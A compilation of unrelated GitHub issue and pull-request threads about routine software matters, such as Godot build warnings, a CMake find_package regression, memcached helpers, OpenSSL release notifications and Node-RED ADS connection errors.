Yes it's in Deno, I didn't think it's related thank fo investigating, is Deno behavior correct here or should I open a bug report ?

No, Deno's behaviour is correct. One of their goals is not to magically look up extra files since that might be wasting extra network requests, and so they differ from tsc here. tsc gives the same error if you delete the .d.ts file.


Add get_current_power to power monitoring plugs

Related issue https://github.com/mihai-dinculescu/tapo/issues/109
I've somehow managed to implement it (and tested it) without prior rust knowledge

Thank you for this.
Are you sure this is your first time writing Rust? :) The PR is almost flawless.
Can you please run cargo fmt and commit the changes?

Sure will do.
First time writing rust,
but not first time programming :P

Ah, cargo clippy has a few complaints as well.

yes yes I'm already ahead of you :P


Skip fp16 initializer test for CPU-only builds

Working towards https://github.com/caffe2/caffe2/pull/817.
E           AttributeError: Method FloatToHalf is not a registered operator. Did you mean: []

https://travis-ci.org/caffe2/caffe2/jobs/243867951
/cc @slayton58

\cc @salexspb who worked on this with me, but looks good from where I'm standing.


RCEdit should not occur during packaging

running RCEdit removes any signature.  This needs to be done before we package (only in the include Symbols zip)

I can move it to start-psbuild


CASSANDRA-16671(3.0): Ensure that row primary key liveness is returned when it exists

Merged manually


Xcode 10 + iOS 12

Hi there,
first of all, good repository, we are using AlamofireCoreData for a while since last year, and we are really happy with that. Thanks for sharing this.
I'm having an issue compiling iOS 12 with Xcode 10, the folloging issue appears:

[ ] Invalid redeclaration of '<-'

//
//  Operator.swift
//  Alamofire+CoreData
...
public func <- <T: Insertable>( left: inout T!, right: MapValue?) {

Do you want me to send a PR on this? or you guys are working right now to fix the issue?
Thanks again,
Javier.

Hi @southfox , happy to hear you like this.
I want to find some time to update the repo to match the latest versions of Swift, Alamofire, and Groot but I have been a little busy lately.
If you want to send a PR with the change for the moment I'll review it asap and will publish the update.
Thanks.

Hi @ManueGE, thanks for contact me.
I've just pushed a new PR about this pointing to develop, let me know if this is fine for you, I've modified a unit test to check if this is working.
I've tested in my sandbox and looks fine for me.
Thanks,
Javier

I don't think we actually need that change to check that it still works. What is your point?
Anything else looks ok for me. I am updating the library to the new version of Groot and Alamofire and will release soon.

Fixed in 2.0.0
thanks 👍


Misspelling problem

Fixes 1 typo. "not" was misspelled as "ont".
Corresponds issue https://github.com/tsoding/ded/issues/54

#57 expands upon this, adding consistency and fixing capitalization.


fix: add overflow: scroll

Tabs content was bleeding into other page content, this will prevent that from occurring.

Oh boy, this brings back the obnoxious scroll bars. They currently aren't there. https://gatsbythemedemo.gatsbyjs.io/ They are so obvious in dark mode.


SCons: Colorize warnings/errors during generation

This change adds the ability to substitute print with methods.print_warning or methods.print_error, prepending the messages with WARNING: /ERROR:  and colorizing them as yellow/red respectively. The messages will also be routed to stderr instead of stdout, allowing users to silence stdout without missing on any crucial information if a build fails or otherwise stops. non-atty environments won't benefit from colorization, but will still enjoy prefix & stderr benefits.

EDIT: Supersedes #88074

Does this supersede https://github.com/godotengine/godot/pull/88074?

I don't think it supercedes that PR entirety; though, it probably would need a different title if left as-is

Did some cleanup work; now it supersedes #88074! The only bits I didn't bring over were print_info because it felt a little redundant & the "Enable ANSI escape code support on Windows 10 and later" section as that issue appears to have been fixed in Python 3.7 which is good enough for me.

Sounds good to me. We should make sure to update the Compiling on Windows documentation to require Python 3.7 though, if we start requiring it de facto for proper display of errors/warnings on Windows.

Ehhh, if we gotta go through that trouble I'll just add that bit of code after all; I'll throw in a note that it should be removed when the minimum version is >=3.7

Hmm, I might've misread the original post; I don't think it's necessarily limited to 3.7 after all. And yet, I've never had any issues with displaying colored text & I use Windows 11, so I honestly have no clue what circumstances cause that bug to occur. Either way, no real harm done in including it.

Sounds good to me. We should make sure to update the Compiling on Windows documentation to require Python 3.7 though, if we start requiring it de facto for proper display of errors/warnings on Windows.

Python 3.7 reached end-of-life 10 months ago. 3.8 and later still get security fixes.

Compilation output on CI looks strange with lots of [Initial build], which I don't see on other PRs' CI logs: https://github.com/godotengine/godot/actions/runs/8868984410/job/24349194236?pr=91220

I double-checked the PR this supersedes, and that error was happening there too. Seems like enabling progress reporting for CI is what caused it, as reverting that fixed the issue.

Thanks!

This MR broke use_mingw flag on windows:
PS D:\Repo\godot> scons use_mingw=yes
scons: Reading SConscript files ...
Automatically detected platform: windows
Auto-detected 24 CPU cores available for build parallelism. Using 23 cores by default. You can override it with the -j argument.
Using MinGW, arch x86_64
Building for platform "windows", architecture "x86_64", target "editor".
AttributeError: 'str' object has no attribute 'insert':
  File "D:\Repo\godot\SConstruct", line 971:
    methods.no_verbose(env)
  File "D:\Repo\godot\methods.py", line 671:
    env.Append(SHLINKCOMSTR=link_shared_library_message)
  File "C:\Users\<username>\AppData\Roaming\Python\Python312\site-packages\SCons\Environment.py", line 1458:
    val.insert(0, orig)


setMulti

Is there any reason there's a getMulti but not a setMulti?
Most of the times you wanna get multiple keys, you wanna set it if they are not in the cache (after retrieving the data). So it looks pretty natural to me to have a setMulti method too.
It could look something like...
memcached.getMulti(['a', 'b', 'c'], (err, data) => {
    const notCached = {};
    Object.keys(data).forEach((key) => {
        if(!data[key]) {
            notCached[key] = getData(key);
        }
    });

    memcached.setMulti(notCached, 10, (err, data) => {});
});

btw, right now the workaround I'm using in my code is like this
/**
 * Wrapper for parallel execution of {@link memcached.set}, for multiple values
 *
 * @param {Object}   map      map of values to store as { key: value }
 * @param {Number}   alive    how long the data needs to be stored measured in seconds
 * @param {Function} callback the callback as (err, data)
 */
memcached.setMulti = (map, lifetime, callback) => {
  const calls = [];

  Object.keys(map).forEach((key) => {
    const value = map[key];

    calls.push((cb) => {
      memcached.set(key, value, lifetime, cb);
    });
  });

  async.parallel(calls, callback);
};

Added to v3.0.x. #333


[KIP-XX] Calldata gas reduction

Proposed changes
KIP-XX describes gas cost changes per zero and nonzero bytes of EVM input.
Types of changes
Please put an x in the boxes related to your change.

[ ] Bugfix
[ ] KIP Proposal
[ ] KIP Improvement

Checklist
Put an x in the boxes that apply. You can also fill these out after creating the PR. If you're unsure about any of them, don't hesitate to ask. We're here to help! This is simply a reminder of what we are going to look for before merging your code.

[ ] Used the suggested template: https://github.com/kaiachain/KIPs/blob/main/kip-template.md
[ ] I have read the CLA and signed by comment I have read the CLA Document and I hereby sign the CLA in first time contribution
[ ] I have added necessary documentation (if appropriate)
[ ] Any dependent changes have been merged and published in downstream modules

Related issues

Please leave the issue numbers or links related to this PR here.

Further comments
If this is a relatively large or complex change, kick off the discussion by explaining why you chose the solution you proposed and what alternatives you have considered, etc.

@blukat29 PR Description changed and Motivation section filled in

@hyeonLewis Please assign a number when you're ready.


open v8 branch

Codecov Report
Base: 10.93% // Head: 10.93% // No change to project coverage :thumbsup:

Coverage data is based on head (9620dbc) compared to base (07ebff1).
Patch has no changes to coverable lines.

Additional details and impacted files
@@           Coverage Diff           @@
##             main     #724   +/-   ##
=======================================
  Coverage   10.93%   10.93%
=======================================
  Files          58       58
  Lines        8137     8137
=======================================
  Hits          890      890
  Misses       7185     7185
  Partials       62       62

Help us with your feedback. Take ten seconds to tell us how you rate us. Have a feature suggestion? Share it here.

:umbrella: View full report at Codecov.
:loudspeaker: Do you have feedback about the report comment? Let us know in this issue.


[MM-24201] List joinable teams alphabetically

Summary
Listing of available teams to join was not sorted alphabetically, but was based on team creation date/time.
Now the list is alphabetized, and matches webapp behaviour.
Ticket Link

MM-24201

Device Information
This PR was tested on: iPhone 11 Simulator
Screenshots
Before

After

Building app in separate branch.

Successfully building:
https://circleci.com/gh/mattermost/mattermost-mobile/6408
https://circleci.com/gh/mattermost/mattermost-mobile/6407

Artifact links:
https://6408-70265724-gh.circle-artifacts.com/0/~/mattermost-mobile/Mattermost_Beta.ipa
https://6407-70265724-gh.circle-artifacts.com/0/~/mattermost-mobile/Mattermost_Beta.apk

@chuttam
Error trying doing the automated Cherry picking. Please do this manually
+++ Updating remotes...
Fetching upstream
Fetching origin
+++ Updating remotes done...
!!! 'upstream/release-1.33' not found. The second argument should be something like upstream/release-0.21.
    (In particular, it needs to be a valid, existing remote branch that I can 'git checkout'.)

/cherry-pick release-1.33


Declare dependency on Emacs 24

This is needed for lexical-binding, and the code suggests it is only tested on Emacs 24.

P.S. Thanks for writeroom-mode -- very useful.

True, thanks for pointing out the omission. I added the minor version .1 to the 24, because that's the actual version that introduces lexical binding. (I doubt that it'll make much of a difference, though.)
I'm glad writeroom-mode is useful to you. :)

I doubt that it'll make much of a difference, though.

I guess that the dev version would have been 24.0 before the 24.1 release, so some 24.0.x Emacsen would have lexical-binding, and others wouldn't. So 24.1 is indeed slightly better.


Use the "tfc:damage_item_food_recipe" ShapelessDamageFoodRecipe

On the kebab recipe. It may apply the decay to the output. Preventing the use of rotten inputs. We'll see.

Works perfectly. Fixed in 12.2.41. Now to use it to add recipes for all the BwM foods. Might need a shaped variant however


DNS wordlists should not have multiple cases for the same word

Noticed that a few of the DNS lists include case sensitive DNS like AutoDiscover and autodiscover. DNS is case insensitive unless I'm mistaken. So it's wasting the resolutions

Here are the line counts for current files and with upper casing unique sort.

as is
sort -fu
difference

100000
100000
0

50000
49928
72

500
500
0

2178751
2171687
7064

2280
2280
0

1907
1907
0

64818
64721
97

484700
484699
1

102593
102582
11

114532
114441
91

19983
19966
17

4997
4989
8

3125061
3117700
7361

Here are the line counts for current files and with upper casing unique sort.

as is
sort -fu
difference

100000
100000
0

50000
49928
72

500
500
0

2178751
2171687
7064

2280
2280
0

1907
1907
0

64818
64721
97

484700
484699
1

102593
102582
11

114532
114441
91

19983
19966
17

4997
4989
8

3125061
3117700
7361

My apologies, I didn't mean to insinuate that anyone wasn't doing a good job, just suggesting improvement. I chose my words poorly. Thank you for doing the work to clear it up.

My apologies, I didn't mean to insinuate that anyone wasn't doing a good job, just suggesting improvement. I chose my words poorly. Thank you for doing the work to clear it up.


URGENT: Getting Spammed by openssl release notifications emails

Probably something wrong with the build system. Cause I'm getting a new openssl release notification email (from github) every second. Each email is about separate build/version. Received 100+ emails so far!

Yeah, pls check what is going wrong here.

Github should have some sort of limit in place to prevent this sort of thing from happening.

Looks to me that they created github releases for all the old releases. But it is indeed not a nice user experience to receive ~231 emails over this. But at least now that it's done that should be it.

Any ideas @openssl/foundation-members @openssl/corporation-members  ?

It is an unfortunate side effect of all the older releases having been made available on github.
It appears it was not anticipated that notifications would be sent out when this was done.
It is a one-time event as part of transitioning CDN providers and to have everything consistently accessible via github.
All releases the project has ever made are now accessible at https://github.com/openssl/openssl/releases
I apologise for the spam on behalf of the team (but I'm also not sure it was avoidable for getting all releases available).

Closing

Thanks for the explanation.  I figured it was something mundane like this, but if it weren't a heads up was in order.


Enhancement for defining shared costs

Version: main
UI: dev-49c4df8
Commit ID: 94ba340099ffa07f88e62c12bef48af603a89558
Env: MacOS 13.1, Apple M2
Currently, if you want to define the shared costs, you must exclude the item in the filter manually. This interaction is not concise enough.  Can we automatically exclude items that share costs?

No more valid in the latest version


find_package(OpenColorIO) broken under cmake 3.29.1

With the recent update of cmake to v3.29.1 (v3.29 was okay before) of GitHub Actions, OpenColorIO started failing not finding its dependencies:
CMake Warning (dev) at /opt/homebrew/Cellar/cmake/3.29.1/share/cmake/Modules/FindPackageHandleStandardArgs.cmake:438 (message):
  The package name passed to `find_package_handle_standard_args` (EXPAT) does
  not match the name of the calling package (expat).  This can lead to
  problems in calling code that expects `find_package` result variables
  (e.g., `_FOUND`) to follow a certain pattern.
Call Stack (most recent call first):
  /opt/homebrew/Cellar/cmake/3.29.1/share/cmake/Modules/Findexpat.cmake:114 (FIND_PACKAGE_HANDLE_STANDARD_ARGS)
  /opt/homebrew/Cellar/cmake/3.29.1/share/cmake/Modules/CMakeFindDependencyMacro.cmake:76 (find_package)
  build/install/lib/cmake/OpenColorIO/OpenColorIOConfig.cmake:33 (find_dependency)
  CMakeLists.txt:163 (find_package)
This warning is for project developers.  Use -Wno-dev to suppress it.

-- Found EXPAT: /Users/runner/work/tlRender/tlRender/build/install/lib/libexpat.a (found version "2.5.0")
CMake Error at CMakeLists.txt:163 (find_package):
  Found package configuration file:

    /Users/runner/work/tlRender/tlRender/build/install/lib/cmake/OpenColorIO/OpenColorIOConfig.cmake

  but it set OpenColorIO_FOUND to FALSE so package "OpenColorIO" is
  considered to be NOT FOUND.  Reason given by package:

  OpenColorIO could not be found because dependency expat could not be found.

-- Configuring incomplete, errors occurred!

On macOS it fails on expat.  On Linux it fails with pystring.

I've just found the same issue with building Qt on GitHub. It's failing there with cmake 3.29.1 while 3.29.2 on my machine works fine. The problem seems to be in the configure_package_config_file module, the code it generates for @PACKAGE_INIT@ is broken.

I reported the bug to Kitware.  That's why they released 3.29.2.  Have to wait until Github Actions updates to 3.29.2.

Github runners have been updated now.


feat(cloud_firestore): add a [] operator to DocumentSnapshot, acting as get()

Description
Add a [] operator to DocumentSnapshot, acting as get()
Related Issues
No issues, but the idea came up here
Checklist
Before you create this PR confirm that it meets all requirements listed below by checking the relevant checkboxes ([x]). This will ensure a smooth and quick review process.

[x] I read the Contributor Guide and followed the process outlined there for submitting PRs.
[x] If the pull request affects only one plugin, the PR title starts with the name of the plugin in brackets (e.g. [cloud_firestore])
[x] My PR includes unit or integration tests for all changed/updated/fixed behaviors (See Contributor Guide).
[x] All existing and new tests are passing.
[x] I updated/added relevant documentation (doc comments with ///).
[x] The analyzer (flutter analyze) does not report any problems on my PR.
[x] I read and followed the Flutter Style Guide.
[x] I updated pubspec.yaml with an appropriate new version according to the pub versioning philosophy.
[x] I updated CHANGELOG.md to add a description of the change.
[x] I signed the CLA.
[x] I am willing to follow-up on review comments in a timely manner.

Breaking Change
Does your PR require plugin users to manually update their apps to accommodate your change?

[ ] Yes, this is a breaking change (please indicate a breaking change in CHANGELOG.md and increment major revision).
[x] No, this is not a breaking change.

Awesome thanks for sending this PR. Would you mind reverting the change log entry and the version bump - we're doing this internally now and are looking into automating this (PR template & contrib guides still to be updated).
After that though I think this is good to merge 🎉 and can be released in Monday's release.

No problem, done.

Great, thank you :)


DB_USER and DB_PASSWORD environment variables

Nitro should automatically define DB_USER and DB_PASSWORD environment variables, to help keep .env files a bit more DRY.
Related to #118.

These need to be available for php-fpm as well if they’re going to be helpful.


Problem: some logics are not disabled when BridgeActive is false

Original logic just disable SendToEthereum and batch creation logic (most critical part)
To make it more complete, we extend the functionnality to the whole module
BridgeActivate enable

all the logics in the abci
the gravity msgs

mmm I haven't found an easy way to do it while being self contained in the module. Maybe ok this way for now?

it should be ok: to have it in a fewer places, it could just be ante handler, begin blocker and end blocker? or would that disable some logic that shouldn't be disabled?

I think the ante handler methods could work but it won't be self contained within the module and the current ethermint custom ante handler does not support adding extra decorators which make it rather complex to integrate.


Dev docs pushed to master branch.

Also, doesn't push on example failure and removed some data that is not used.

Coverage decreased (-0.1%) to 90.721% when pulling e269dc86fd24d6da0479db9fc0b9dc4db5a66423 on jaeilepp:push-dev into 5f389c5c44f80e9df4efeae15506c10515a56276 on mne-tools:master.

LGTM
Merge if you're done


[android] EphemeralKeyProvider called 4 times

Hi @triniwiz @NathanWalker
Sorry for reporting 3 separated  issues but I discover then as i go!
I've seen 4 call to get the Ephemeral key! the problem come from  com.stripe.android.CustomerSession.initCustomerSession that accept a 3rd attribute to avoid sending other request when PaymentSession is initialized. see here
We can expose an attribute at the constructor as below but strangely enough setting shouldPrefetchCustomer to false this does prevent the prefetech call but  doesn't resolve the problem !! I'll investigate that more, I yhink the problem come from the PaymentSession !
Also Application.android.contextis deprecated for Utils.android.getApplicationContext()
export class StripeStandardCustomerSession {
    constructor(shouldPrefetchEphemeralKey: boolean = false) {
        StripeStandardConfig.shared.initPaymentConfiguration();
        com.stripe.android.CustomerSession.initCustomerSession(StripeStandardCustomerSession.context, createKeyProvider(), shouldPrefetchEphemeralKey);
        this.native = com.stripe.android.CustomerSession.getInstance();
    }
    static get context() {
        return Utils.android.getApplicationContext();
    }
}

Thanks I'll check it out soon 😄

Hi @triniwiz
This issue still on android even with the latest change to add shouldPrefetchEphemeralKey = false to        com.stripe.android.CustomerSession.initCustomerSession(StripeStandardCustomerSession.context, createKeyProvider(), shouldPrefetchEphemeralKey); with this change it make 3 calls instead of 4!! and now I did a quick look to the SDK and it seems that we can reduce the number to 2 calls by setShouldPrefetchCustomer(false) to this line.
Now why still did 2 call I don't know but it is most likely from the Stripe SDK! I did explain this in new issue at the repo of Stripe android SDK
The problem is with all those call isReadyToCharge most of the time it return false, we should return backward and try again!!
Now setShouldPrefetchCustomer(false) does not request the auto filling the card info, the user should click show payment method to select the card!

@triniwiz,
I was wondering if we can change StripeStandardCustomerSession to private and call it internally directly from here.
This issue come mainly from the 'createKeyProvider` because it is asynchrone, all the initialisations begin before the return of the ephemeral object .. but not only, we should ensure a synchronous calls on the initialisations.


Remove unneccessary lib statements in Cargo.toml.

What it does:
The crate-type directives etc. aren't necessary; Cargo is clever enough
to figure out which kind of library to build as per the project's
dependencies.
Why it does it:
These lines can cause issues when building for other library types.
Related issues:
N/A

Thanks a lot, Josh!
On Wed., 12 Oct. 2016 at 8:52 am, Josh Teeter<EMAIL_ADDRESS>wrote:

Merged #38 https://github.com/whatisinternet/inflector/pull/38.
—
You are receiving this because you authored the thread.
Reply to this email directly, view it on GitHub
https://github.com/whatisinternet/inflector/pull/38#event-820183490, or mute
the thread
https://github.com/notifications/unsubscribe-auth/AB7b501400Qrlufhg01cEnZy0T1uAF92ks5qzAUEgaJpZM4KTYkr
.


add uri compatibility

Lists uri as partially-compatible because if hyperref is loaded, there are two empty tags added after every link. This does not occur with just \url or \href, for example. Test included (pulled from tlc3-examples).

hm I don't see which empty tags you mean. The structure looks fine here.

@u-fischer Here's what a portion of the structure tree looks like for me, with lualatex:

More minimally:
\DocumentMetadata
  {
    lang=en-US,
    pdfversion=2.0,
    pdfstandard=ua-2,
    testphase={phase-III,math,title,table,firstaid},
  }
\documentclass{article}
\usepackage{hyperref}
\usepackage{uri}

\title{uri tagging test}

\begin{document}

\url{https://latex-project.org} % to compare

\href{https://latex-project.org}{random text} % to compare

\doi{10.1111/coin.12165}

\asin{0201362996}
\end{document}

Ah. That is not serious. Empty containers appear now and then. A comment that one should perhaps look at some time if one can avoid them is enough.


Add this repo to core's version.properties for plugins to have seamless access

Security plugin (among other plugins) uses common_utils_version to get common-utils version dynamically based on opensearch-build's version.
opensearch_version = System.getProperty("opensearch.version", "2.2.0-SNAPSHOT")
version_tokens = opensearch_version.tokenize('-')
opensearch_build = version_tokens[0] + '.0'
common_utils_version = System.getProperty("common_utils.version", opensearch_build);

This is breaking the build because build.gradle is expecting common-utils to be available with version <IP_ADDRESS> but it is not out yet. This will block PRs from getting merged. A temporary solution to fix this is to hard-code common_utils_version property to latest stable version.
Proposed Solution:
Since hard-coding is not a good practice, and other plugins might be similarly affected by this issue, common-utils version should be added to version.properties file in core, to enable other plugins to easily access this dependency in build.gradle using something like:
testImplementation "org.opensearch:common-utils:${versions.common_utils}"

And common-utils can create a PR against core to update the core's version.properties each time there is a new release.

Common-utils version cannot be added in core because it depends on core, and it would be a chicken-and-egg problem.
Since you have a dependency on common-utils and all versions must match, I think the right thing to do is to wait for common-utils to increment its version and publish a SNAPSHOT. You can always PR that here when you find yourself in that situation.


fix gemspec

desc
i needed to roll these values back. i'm unsure why they were updated. maybe an upstream change? but they broke version 0.2.2
[fix]

uploaded to gem fury manually


Revert "Enable parallel software bitstream build"

Reverts google/CFU-Playground#422
There are two issues with that commit:

It introduces an unrelated change of the CPU variant from slim+cfu to
slimopt+cfu, which we may want to do, but needs to be considered separately
(the hps-firmware tree would need a corresponding update).

There is no direct Make dependency from software compilation to Litex CSR
generation. There is an indirect dependency through the $(BIOS_BIN) target,
software/bios/bios.bin. But that target only depends on cfu.v, but not other
Litex generated outputs.
It means that a change to the Litex SoC definition could change CSRs but the
software would be wrongly compiled against the previous CSR definitions,
leading to confusing runtime failures.

Building the software concurrently with the bitstream is also not a very useful
improvement. Although it may help CI somewhat, for typical developer workflows
the software compilation takes negligible time compared to the bitstream
synthesis.

Amended to add a proper commit message, instead of the Github-generated one.

Another problem I noticed is that we actually can't pass --no-compile-software either. Although we don't ever use the Litex BIOS on HPS, we still need to let Litex compile its libbase because we link against that.


Run minitest with benchmark

Does anyone know how I can do this while testing an exercise?

What are you trying to do?
There's this: https://chriskottom.com/blog/2015/04/minitest-benchmark-an-introduction/

Thanks for the link. I'm just trying to compare efficiency of two of my iterations with more info than just time. Like benchmem test or something.

For that I'd use the Benchmark library: https://ruby-doc.org/stdlib-2.5.0/libdoc/benchmark/rdoc/Benchmark.html
Or something like https://github.com/michaelherold/benchmark-memory if you care about memory.
Or just work things out logically by working out how many loops you're doing and/or how many things you are allocating.
Or ask for performance related comments from your mentor.
It all depends a lot on what you are trying to do / optimize for.

Thank you for the information.  Mostly I know from working things out logically that the solution is much more efficient than most approaches.  I wanted to see by how much, and include memory.


Unit Tests

unittest is the package included in python to create unit tests. There is a guide on how to use it that works pretty well. I actually haven't used any unit test packages for python before, if there is a more preferred package to use, lets discuss this.

I'm going to start writing unit tests to answer the questions I've just posted in the kinematics/E&M models. Basically the idea here will be to have these tests to maybe guide the function development.


Idea: list commands as functions

Hi There,
Me again :)
I think it would be great then when pressing CRTL-R, or CTRL-P and then the @ sign, it would list all commands that start with the $ sign for easy navigation in the xiki file.
What do you think?
PS: Let me see if I can make a patch for it, however when done I'm not entirely sure yet how I could send the patch (I just created the account on this git to leave you these messages)
Best Regards,
kuki

I'm a bit late to the party (notifications for issues opened against SublimeXiki weren't appearing for some reason) but I do like this and might implement it for the SublimeXiki replacement I'm working on


Error ADS: Error: write after end

node-red v0.19.2
node-red-contrib-ads version 1.1.14
Twincat 3
Hi,
I have a simple config, using 3x ADS_IN node for 3 different variables, calling the node cyclic every 0.5s
This worked fine for a while, but now I'm getting the following error at a rate of almost 2 times per second.:
Error ADS: Error: write after end
I checked the Node-red logging:
12 Nov 18:10:46 - [error] [ads-connection:7d3494b1.bd65dc] Ads read timeout
12 Nov 18:10:46 - [error] [ads-connection:7d3494b1.bd65dc] Ads read timeout
12 Nov 18:10:46 - [error] [ads-connection:7d3494b1.bd65dc] Ads read timeout
12 Nov 18:10:47 - [error] [ads-connection:7d3494b1.bd65dc] Ads read timeout
12 Nov 18:10:47 - [error] [ads-connection:7d3494b1.bd65dc] Ads read timeout
12 Nov 18:10:47 - [error] [ads-connection:7d3494b1.bd65dc] Ads read timeout
12 Nov 18:10:47 - [error] [ads-connection:7d3494b1.bd65dc] Ads read timeout
12 Nov 18:10:51 - [error] [ads-connection:7d3494b1.bd65dc] Ads read timeout
12 Nov 18:10:51 - [error] [ads-connection:7d3494b1.bd65dc] Ads read timeout
12 Nov 18:10:51 - [error] [ads-connection:7d3494b1.bd65dc] Ads read timeout
12 Nov 18:10:57 - [error] [ads-connection:7d3494b1.bd65dc] Error ADS: Error: read ECONNRESET
12 Nov 18:10:58 - [error] [ads-connection:7d3494b1.bd65dc] Error ADS: Error: write after end
12 Nov 18:10:58 - [error] [ads-connection:7d3494b1.bd65dc] Error ADS: Error: write after end
12 Nov 18:10:59 - [error] [ads-connection:7d3494b1.bd65dc] Error ADS: Error: write after end
12 Nov 18:10:59 - [error] [ads-connection:7d3494b1.bd65dc] Error ADS: Error: write after end
At the moment I have no idea why I got ADS read timeouts.  But the "write after end" error occured after doing the connection reset.
Any idea?  I found this https://stackoverflow.com/questions/32274103/node-js-sharp-library-write-after-end-error
But I can't make the connection to my problem.

There are still some problems with the ADS-API implementation. It's not mine. I just expanded it. The thing would have to be redesigned.
A TCP socket object is created for the connection. The error says that was written to the object after the TCP socket was closed. The TCP Soket will be closed automatically when an "Error ADS: Error:" message comes up.
Please try the Notification object for cyclic reading. That is desigt for it: cyclically or on event.
I can not say why the PLC generates a timeout. There seems to be a problem with TC3 or it's because of the local installation of node-red.
That works on the local machine, right?

Hi,
No local installation.  connection between PLC and NR is over LAN.  There's a realistic chance that the primary cause was a network interruption.
Before I tested the Notification object already.   The reason why I switched to ADS_IN was that the Notification node didn't seem te react as I expected.  Changing cycle time didn't seem to result in a changing behaviour.
Anyhow, I tested it again.  At first I got some Error ADS .  After restarting Node-Red, the Notification node works fine.  I'll keep using this config and do some follow-up.

"Ads read timeout" is generated when a request is sent to the PLC and the PLC does not respond within 500ms. The time can be adjusted in the node-ads-api/lib/ads.js on line 990.
"ECONNRESET" means the other side of the TCP conversation abruptly closed its end of the connection. This is most probably due to one or more application protocol errors. Maybe you can see something in the logs from the SPS.
Error ADS: Error: write after end: Is a following error, because the connection is no longer established. normally the connection is disconnected and rebuilt. To find out why this is trying to write in the connection I would have to see the logs
set DEBUG=node-red-contrib-ads:*,node-ads*
before starting NODE-RED
one way to find out if there are network problems is the software Wireshark. Install, click on the black button in the bar. Select network card. Enter the filter in the green line: ip.addr eq
If you see black lines then there are transmission errors.

With the timeout is also a known problem when the system monitor for twincat 2 runs on the same system as nodered. This is a Twincat router bug in the newer versions. Do you have the twincat 3 development interface running? Then the error would be synonymous in twincat 3. You can see it in wireshark. The data packets sendet to the wrong port.


Create a SDF file canonicalizer

We need a tool which takes a SDF file and generates a "canonical" form. It probably wants to sort via INSTANCE and then CELLTYPE.
Currently we get SLICEL and SLICEM timing information stored together;
    (CELL
        (CELLTYPE "SELMUX2_1")
        (INSTANCE SLICEL/F7AMUX)
        (DELAY
            (ABSOLUTE
                (IOPATH 0 OUT (0.053::0.067)(0.153::0.190))
                (IOPATH 1 OUT (0.055::0.069)(0.156::0.193))
                (IOPATH S0 OUT (0.085::0.106)(0.222::0.276))
            )
        )
    )
    (CELL
        (CELLTYPE "LUT_OR_MEM5LRAM")
        (INSTANCE SLICEM/B5LUT)
        (DELAY
            (ABSOLUTE
                (IOPATH A1 O5 (0.045::0.056)(0.122::0.152))
                (IOPATH A2 O5 (0.044::0.055)(0.122::0.152))
                (IOPATH A3 O5 (0.043::0.053)(0.121::0.150))
                (IOPATH A4 O5 (0.047::0.058)(0.121::0.150))
                (IOPATH A5 O5 (0.048::0.060)(0.094::0.117))
                (IOPATH CLK O5 (0.348::0.434)(0.957::1.187))
            )
        )
        (TIMINGCHECK
            (HOLD CLK (posedge CLK) (0.154::0.191))
            (SETUP CLK (posedge CLK) (0.250::0.311))
        )
    )
    (CELL
        (CELLTYPE "LUT_OR_MEM5SHFREG")
        (INSTANCE SLICEM/B5LUT)
        (DELAY
            (ABSOLUTE
                (IOPATH CLK O5 (0.439::0.547)(1.190::1.476))
            )
        )
        (TIMINGCHECK
            (HOLD CLK (posedge CLK) (0.070::0.087))
            (SETUP CLK (posedge CLK) (0.126::0.156))
        )
    )
    (CELL
        (CELLTYPE "LUT6")
        (INSTANCE SLICEL/C6LUT)
        (DELAY
            (ABSOLUTE
                (IOPATH A1 O6 (0.045::0.056)(0.100::0.124))
                (IOPATH A2 O6 (0.045::0.056)(0.100::0.124))
                (IOPATH A3 O6 (0.045::0.056)(0.100::0.124))
                (IOPATH A4 O6 (0.045::0.056)(0.100::0.124))
                (IOPATH A5 O6 (0.045::0.056)(0.100::0.124))
                (IOPATH A6 O6 (0.045::0.056)(0.100::0.124))
            )
        )
    )

a basic version of such tool already exists see: https://github.com/SymbiFlow/prjxray/blob/master/utils/sdfmerge.py
@mithro do you think it should be part of this lib?

@kgugala Yes.


Some inquiries about making the canvas go full screen

Hello! I wonder if there is a way that I can get the canvas(w) in Jupyter Lab to full screen? I have tried adding a js code into the lab but it can't get the canvas.
The js code look like this:
js_code = """
(function() {
var output = document.querySelector(".test");
output.style.backgroundColor = "black";
if (!output) {
console.log("Element with class 'example' not found.");
return;
}
console.log("Element found, attempting to go fullscreen...");
if (output.requestFullscreen) {
output.requestFullscreen(output.ALLOW_KEYBOARD_INPUT);
} else if (output.mozRequestFullScreen) { // Firefox
output.mozRequestFullScreen(output.ALLOW_KEYBOARD_INPUT);
} else if (output.webkitRequestFullscreen) { // Chrome, Safari and Opera
output.webkitRequestFullscreen(output.ALLOW_KEYBOARD_INPUT);
} else if (output.msRequestFullscreen) { // IE/Edge
output.msRequestFullscreen(output.ALLOW_KEYBOARD_INPUT);
}
})();
"""
display(Javascript(js_code), w)
I try to set the class of the "w" to be "test" by using add_class. It successfully go full screen but there is nothing on the screen.

Hello!
That’s ok. I have found a work around for this by creating a Jupyter notebook extension. But thanks for your reply and patience!
All the best,
You Peng
Sent from Outlook for iOShttps://aka.ms/o0ukef

From: Jerome Eippers @.>
Sent: Thursday, August 1, 2024 10:52:52 AM
To: JeromeEippers/ipywebgl @.>
Cc: OrangePY @.>; Author @.>
Subject: Re: [JeromeEippers/ipywebgl] Some inquiries about making the canvas go full screen (Issue #3)
Hello,
I've never seen anyone going full screen with a widget in a notebook. So I'm not sure I can help you.
I don't have access to my computer for a couple of week, if no one has been able to help, I'll have a look when I'm back.
Regards,
Jerome
—
Reply to this email directly, view it on GitHubhttps://github.com/JeromeEippers/ipywebgl/issues/3#issuecomment-2262628189, or unsubscribehttps://github.com/notifications/unsubscribe-auth/BDUDRQA76QI5PW7XLMZVEWTZPIAPJAVCNFSM6AAAAABLWCYX6CVHI2DSMVQWIX3LMV43OSLTON2WKQ3PNVWWK3TUHMZDENRSGYZDQMJYHE.
You are receiving this because you authored the thread.Message ID: @.***>


Merge sync d6a26f1

Summary
Sync to latest upstream #d6a26f1

 Thank you for your submission! We really appreciate it. Like many open source projects, we ask that you all sign our Contributor License Agreement before we can accept your contribution.1 out of 4 committers have signed the CLA.:white_check_mark: dkstyle:x: n8tz:x: snitin315:x: JimmyLvYou have signed the CLA already but the status is still pending? Let us recheck it.


improve stack up resilience

In case of error,
(port or service having same name, error on service creation or etcd insertion),
the stack creation is roll-backed, all already launched services stopped and all related data in etcd deleted, in order to do not have the stack in a middle of two states, with part of its services started or part of etcd data written.
so after the up command, the stack is completely created or doesn't exist at all.
test:

make test-stack

also: rename "amp stack remove" to "amp stack rm"

